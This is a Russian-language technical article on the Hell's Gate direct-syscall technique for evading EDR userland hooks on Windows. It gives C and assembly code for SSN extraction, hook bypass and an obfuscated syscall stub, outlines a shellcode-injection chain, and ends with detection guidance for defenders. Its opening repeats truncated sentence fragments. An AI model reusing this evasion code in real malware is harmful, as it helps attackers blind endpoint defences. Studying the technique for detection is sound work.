Hell's Gate — техника прямого вызова системных вызовов Windows из usermode, при которой исполняемый код сам извлекает номера системных вызовов (SSN) из
EDR-агенты устанавливают inline-хуки на функции
Типичный хук выглядит так:
Когда вредоносный код вызывает
Для извлечения SSN необходимо распарсить таблицу экспорта
Далее из PE-заголовка извлекается
Чтобы не хранить строки имён функций в открытом виде, техника использует хэширование. В приведённом примере применяется CRC32:
Хэш вычисляется заранее для целевых функций (
Когда функция найдена, SSN извлекается из её машинного кода. Стандартный пролог системного вызова в
SSN — это два байта на смещениях +4 и +5 от начала функции. Код проверяет сигнатуру
Если целевая функция захукана (первый байт
Алгоритм:
Это работает, потому что EDR обычно хукает только конкретные функции, а не весь диапазон
После извлечения SSN выполняется сам системный вызов. На x86-64 это ассемблерная вставка:
Усложнённый вариант добавляет обфускацию потока инструкций: перед
Вредоносный код использует четыре системных вызова для классической схемы инъекции в локальный процесс:
Каждый вызов предваряется
Несмотря на обход userland-хуков, Hell's Gate оставляет наблюдаемые артефакты.
Инструкция
При стандартном вызове через
Код, который читает таблицу экспорта
Для более глубокого понимания механики системных вызовов и их наблюдения на уровне ядра см. Системные вызовы Windows: зачем исследователю понимать direct syscalls и где их наблюдает EDR.
ntdll.dll и выполняет инструкцию syscall без обращения к API-функциям. Это позволяет обойти userland-хуки, которые EDR-продукты устанавливают на экспортируемые функции ntdll.dll для перехвата и инспекции вызовов.Почему возникают хуки и зачем их обходят
EDR-агенты устанавливают inline-хуки на функции
ntdll.dll — например, NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx. Хук заменяет первые байты функции на безусловный переход (jmp) к коду агента, который логирует параметры вызова, проверяет их на подозрительность и при необходимости блокирует операцию.Типичный хук выглядит так:
Код:
; Оригинальный пролог NtAllocateVirtualMemory:
4C 8B D1 mov r10, rcx
B8 XX XX 00 00 mov eax, <SSN>
0F 05 syscall
C3 ret
; После хука EDR:
E9 XX XX XX XX jmp <hook_handler>
...
Когда вредоносный код вызывает
NtAllocateVirtualMemory через стандартный механизм импорта, управление сначала попадает в хук EDR. Hell's Gate решает эту проблему: вместо вызова функции из ntdll.dll код самостоятельно находит SSN и выполняет syscall напрямую, минуя хук.Механика извлечения SSN
Структура экспорта ntdll.dll
Для извлечения SSN необходимо распарсить таблицу экспорта
ntdll.dll. Базовый адрес модуля получается через PEB (Process Environment Block):
C:
PPEB pPeb = (PPEB)__readgsqword(0x60);
PLDR_DATA_TABLE_ENTRY pLdr = (PLDR_DATA_TABLE_ENTRY)
((PBYTE)pPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
ULONG_PTR uModule = (ULONG_PTR)(pLdr->DllBase);
Далее из PE-заголовка извлекается
IMAGE_EXPORT_DIRECTORY, которая содержит три массива:| Поле | Назначение |
|---|---|
AddressOfNames | RVA массива имён экспортируемых функций |
AddressOfFunctions | RVA массива адресов функций |
AddressOfNameOrdinals | RVA массива порядковых номеров |
NumberOfNames | Количество экспортируемых функций |
Поиск по хэшу имени
Чтобы не хранить строки имён функций в открытом виде, техника использует хэширование. В приведённом примере применяется CRC32:
C:
#define SEED 0xEDB88320
#define HASH(API) crc32h((char*)API)
Хэш вычисляется заранее для целевых функций (
NtAllocateVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx, NtWaitForSingleObject), а при рантайм-поиске сравнивается с хэшами имён из таблицы экспорта.Извлечение SSN из пролога функции
Когда функция найдена, SSN извлекается из её машинного кода. Стандартный пролог системного вызова в
ntdll.dll на x86-64:
Код:
4C 8B D1 mov r10, rcx
B8 XX XX 00 00 mov eax, <SSN>
0F 05 syscall
C3 ret
SSN — это два байта на смещениях +4 и +5 от начала функции. Код проверяет сигнатуру
4C 8B D1 B8 и извлекает номер:
C:
if (*((PBYTE)pFuncAddress) == 0x4C &&
*((PBYTE)pFuncAddress + 1) == 0x8B &&
*((PBYTE)pFuncAddress + 2) == 0xD1 &&
*((PBYTE)pFuncAddress + 3) == 0xB8 &&
*((PBYTE)pFuncAddress + 6) == 0x00 &&
*((PBYTE)pFuncAddress + 7) == 0x00) {
BYTE high = *((PBYTE)pFuncAddress + 5);
BYTE low = *((PBYTE)pFuncAddress + 4);
pNtSys->dwSSn = (high << 8) | low;
}
Обход хуков: поиск соседних системных вызовов
Если целевая функция захукана (первый байт
0xE9 — безусловный переход), Hell's Gate ищет ближайший незапуганный системный вызов выше или ниже по памяти. Логика основана на том, что SSN в ntdll.dll упорядочены последовательно: каждый следующий системный вызов имеет SSN на единицу больше.Алгоритм:
- Обнаружен хук: первый байт функции —
0xE9(или0xE9на смещении +3).
- Цикл с шагом
DOWN(вниз по памяти) иUP(вверх) ищет пролог4C 8B D1 B8.
- Найденный SSN корректируется: если найден вызов на
idxпозиций ниже, из его SSN вычитаетсяidx; если выше — прибавляетсяidx.
C:
// Хук на первом байте
if (*((PBYTE)pFuncAddress) == 0xE9) {
for (WORD idx = 1; idx <= RANGE; idx++) {
// Поиск вниз
if (*((PBYTE)pFuncAddress + idx * DOWN) == 0x4C && ...) {
pNtSys->dwSSn = (high << 8) | low - idx;
break;
}
// Поиск вверх
if (*((PBYTE)pFuncAddress + idx * UP) == 0x4C && ...) {
pNtSys->dwSSn = (high << 8) | low + idx;
break;
}
}
}
Это работает, потому что EDR обычно хукает только конкретные функции, а не весь диапазон
ntdll.dll.Выполнение системного вызова
После извлечения SSN выполняется сам системный вызов. На x86-64 это ассемблерная вставка:
Код:
.data
wSystemCall DWORD 0000h
.code
SetSSn PROC
mov wSystemCall, ecx
ret
SetSSn ENDP
RunSyscall PROC
mov r10, rcx
mov eax, wSystemCall
syscall
ret
RunSyscall ENDP
SetSSn записывает номер системного вызова в глобальную переменную. RunSyscall загружает первый аргумент в r10 (соглашение Windows syscall), номер — в eax, и выполняет syscall.Усложнённый вариант добавляет обфускацию потока инструкций: перед
syscall вставляются мусорные инструкции и переход, чтобы затруднить статический анализ:
Код:
RunSyscall PROC
xor r10, r10
mov rax, rcx
mov r10, rax
mov eax, wSystemCall
jmp Run
xor eax, eax ; не выполнится
xor rcx, rcx ; не выполнится
shl r10, 2 ; не выполнится
Run:
syscall
ret
RunSyscall ENDP
Типичная цепочка использования
Вредоносный код использует четыре системных вызова для классической схемы инъекции в локальный процесс:
| Шаг | Системный вызов | Действие |
|---|---|---|
| 1 | NtAllocateVirtualMemory | Выделение памяти с правами PAGE_READWRITE |
| 2 | memcpy | Копирование payload в выделенную область |
| 3 | NtProtectVirtualMemory | Смена прав на PAGE_EXECUTE_READ |
| 4 | NtCreateThreadEx | Создание потока с точкой входа в payload |
| 5 | NtWaitForSingleObject | Ожидание завершения потока |
Каждый вызов предваряется
SetSSn() с соответствующим номером.Точки наблюдения для защитного анализа
Несмотря на обход userland-хуков, Hell's Gate оставляет наблюдаемые артефакты.
Kernel-side детектирование
Инструкция
syscall переходит в ядро через MSR_LSTAR. Ядро обрабатывает запрос вне зависимости от того, вызван ли он через ntdll.dll или напрямую. EDR с kernel-драйвером видит:- Параметры системного вызова (адреса, размеры, флаги защиты).
- PID и TID вызывающего процесса.
- Последовательность вызовов, характерную для инъекции.
Поведенческие индикаторы
| Индикатор | Что наблюдает EDR |
|---|---|
| Выделение памяти + смена прав на executable | Классический паттерн RW → RX |
| Создание потока на только что выделенную память | Подозрительная точка входа |
Вызовы из кода вне ntdll.dll | Адрес возврата не указывает на ntdll |
Проверка адреса возврата (call stack analysis)
При стандартном вызове через
ntdll.dll адрес возврата на стеке указывает внутрь ntdll.dll. При direct syscall адрес возврата указывает на код вызывающего модуля. EDR может проверять это в kernel-callback или при инспекции стека.Обнаружение паттерна извлечения SSN
Код, который читает таблицу экспорта
ntdll.dll через PEB и сканирует байты функций в поисках сигнатуры 4C 8B D1 B8, сам по себе является индикатором. EDR может:- Мониторить доступ к PEB через
__readgsqword(0x60).
- Детектировать паттерны сканирования памяти
ntdll.dllиз нестандартного контекста.
- Сравнивать содержимое
ntdll.dllна диске и в памяти для выявления хуков и патчей.
Ограничения техники
- Kernel-хуки не обходятся. Если EDR использует kernel-callback (
PsSetCreateProcessNotifyRoutine,ObRegisterCallbacks), direct syscall не помогает.
- SSN зависят от версии ОС. Номера системных вызовов меняются между сборками Windows. Техника извлекает их динамически, но если
ntdll.dllполностью перехукана или подменена, извлечение может завершиться ошибкой.
- ETW и AMSI не обходятся самой по себе техникой — для этого нужны отдельные механизмы.
- Современные EDR используют комбинацию userland-хуков, kernel-драйверов и поведенческого анализа, поэтому обход только одного слоя не гарантирует скрытность.
Практический чек-лист для защитного аналитика
- Проверяйте, что адрес возврата при системном вызове указывает на
ntdll.dll. Если нет — это признак direct syscall.
- Анализируйте последовательности
NtAllocateVirtualMemory→NtProtectVirtualMemory→NtCreateThreadExв рамках одного процесса.
- Мониторьте доступ к PEB и парсинг таблицы экспорта из нестандартных модулей.
- Используйте kernel-mode драйвер для наблюдения за параметрами системных вызовов независимо от способа их инициации.
- Сравнивайте
ntdll.dllна диске и в памяти для выявления хуков и патчей.
Для более глубокого понимания механики системных вызовов и их наблюдения на уровне ядра см. Системные вызовы Windows: зачем исследователю понимать direct syscalls и где их наблюдает EDR.
